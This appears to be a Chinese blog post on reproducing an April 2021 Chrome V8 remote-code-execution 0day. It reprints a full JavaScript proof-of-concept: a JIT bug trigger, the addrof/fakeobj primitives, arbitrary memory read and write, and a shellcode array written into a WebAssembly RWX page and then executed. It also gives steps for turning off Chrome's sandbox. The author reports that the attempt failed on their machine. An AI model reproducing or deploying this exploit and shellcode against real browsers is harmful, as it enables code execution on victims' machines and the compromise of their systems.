Chrome最新0day RCE（2021/4/13）

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关于Chrome

Chrome就是Google浏览器。。。

POC

Git链接

https://github.com/r4j0x00/exploits/tree/master/chrome-0day

POC

/*

/*

BSD 2-Clause License

Copyright (c) 2021, rajvardhan agarwal

All rights reserved.

Redistribution and use in source and binary forms, with or without

modification, are permitted provided that the following conditions are met:

1. Redistributions of source code must retain the above copyright notice, this

   list of conditions and the following disclaimer.

2. Redistributions in binary form must reproduce the above copyright notice,

   this list of conditions and the following disclaimer in the documentation

   and/or other materials provided with the distribution.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"

AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE

IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE

DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE

FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL

DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR

SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER

CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,

OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE

OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

*/

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11])

var wasm_mod = new WebAssembly.Module(wasm_code);

var wasm_instance = new WebAssembly.Instance(wasm_mod);

var f = wasm_instance.exports.main;

var buf = new ArrayBuffer(8);

var f64_buf = new Float64Array(buf);

var u64_buf = new Uint32Array(buf);

let buf2 = new ArrayBuffer(0x150);

function ftoi(val) {

    f64_buf[0] = val;

    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);

}

function itof(val) {

    u64_buf[0] = Number(val & 0xffffffffn);

    u64_buf[1] = Number(val >> 32n);

    return f64_buf[0];

}

const _arr = new Uint32Array([2**31]);

function foo(a) {

    var x = 1;

	x = (_arr[0] ^ 0) + 1;

	x = Math.abs(x);

	x -= 2147483647;

	x = Math.max(x, 0);

	x -= 1;

	if(x==-1) x = 0;

	var arr = new Array(x);

	arr.shift();

	var cor = [1.1, 1.2, 1.3];

	return [arr, cor];

}

for(var i=0;i<0x3000;++i)

    foo(true);

var x = foo(false);

var arr = x[0];

var cor = x[1];

const idx = 6;

arr[idx+10] = 0x4242;

function addrof(k) {

    arr[idx+1] = k;

    return ftoi(cor[0]) & 0xffffffffn;

}

function fakeobj(k) {

    cor[0] = itof(k);

    return arr[idx+1];

}

var float_array_map = ftoi(cor[3]);

var arr2 = [itof(float_array_map), 1.2, 2.3, 3.4];

var fake = fakeobj(addrof(arr2) + 0x20n);

function arbread(addr) {

    if (addr % 2n == 0) {

        addr += 1n;

    }

    arr2[1] = itof((2n << 32n) + addr - 8n);

    return (fake[0]);

}

function arbwrite(addr, val) {

    if (addr % 2n == 0) {

        addr += 1n;

    }

    arr2[1] = itof((2n << 32n) + addr - 8n);

    fake[0] = itof(BigInt(val));

}

function copy_shellcode(addr, shellcode) {

    let dataview = new DataView(buf2);

    let buf_addr = addrof(buf2);

    let backing_store_addr = buf_addr + 0x14n;

    arbwrite(backing_store_addr, addr);

    for (let i = 0; i < shellcode.length; i++) {

        dataview.setUint32(4*i, shellcode[i], true);

    }

}

var rwx_page_addr = ftoi(arbread(addrof(wasm_instance) + 0x68n));

console.log("[+] Address of rwx page: " + rwx_page_addr.toString(16));

var shellcode = [3833809148,12642544,1363214336,1364348993,3526445142,1384859749,1384859744,1384859672,1921730592,3071232080,827148874,3224455369,2086747308,1092627458,1091422657,3991060737,1213284690,2334151307,21511234,2290125776,1207959552,1735704709,1355809096,1142442123,1226850443,1457770497,1103757128,1216885899,827184641,3224455369,3384885676,3238084877,4051034168,608961356,3510191368,1146673269,1227112587,1097256961,1145572491,1226588299,2336346113,21530628,1096303056,1515806296,1497454657,2202556993,1379999980,1096343807,2336774745,4283951378,1214119935,442,0,2374846464,257,2335291969,3590293359,2729832635,2797224278,4288527765,3296938197,2080783400,3774578698,1203438965,1785688595,2302761216,1674969050,778267745,6649957];

copy_shellcode(rwx_page_addr, shellcode);

f();

将以上保存为js文件，在浏览器中加载即可

<script>1.js</script>

漏洞前提

1.版本Google Chrome <= 89.0.4389.114 目前最新版

2.关闭Google的沙箱

在谷歌浏览器属性--目标-最后边加入参数 --args --no-sandbox，然后点击保存，此时会关闭沙箱。

右击Google快捷方式，在目标中追加 --args --no-sandbox

漏洞利用

1.这是我分别保存的js文件和html文件

2.使用Google浏览器打开1.html

。。。啥都没有，嘤嘤嘤

3.参考大佬文章查看原因--未解决

此漏洞无法完成chrome的沙箱逃逸，默认情况下chrome开启沙箱。可采用关闭沙箱逃逸的方式进行浮现，如需无条件rce还需要沙箱逃逸的漏洞。

emmm，我感觉可能是浏览器版本太高了